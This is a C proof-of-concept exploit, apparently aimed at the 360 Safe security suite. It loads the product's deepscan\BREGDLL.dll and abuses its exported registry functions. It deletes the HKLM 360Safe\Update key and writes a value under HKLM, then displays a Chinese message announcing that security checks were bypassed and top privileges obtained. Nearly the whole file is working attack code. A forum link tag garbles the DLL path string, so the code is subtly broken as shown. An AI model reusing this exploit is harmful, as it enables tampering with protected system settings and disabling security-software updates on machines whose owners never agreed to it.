typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);
BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;
#define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"
#define TestDeleteKey HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software\\360Safe\\Update"
#define TestSetKey HKEY_LOCAL_MACHINE
#define TestSetPath "Software\\360Safe"
BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;
CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;
lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;
DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;
strcat(cPath, "[url=file://\\deepscan\\BREGDLL.dll]\\deepscan\\BREGDLL.dll[/url]");
HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;
INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");
if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}
if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}
return TRUE;
}
LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;
lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;
DWORD dwType = REG_SZ;
static char szData[] = "TEST VALUE";
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);
return lResult;
}
int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
return 1;
}
if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
return 2;
}
if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
return 3;
}
MessageBoxA(NULL, "突破系统安全检查，获得最高权限，漏洞利用成功!", "成功", MB_OK);
return 0;
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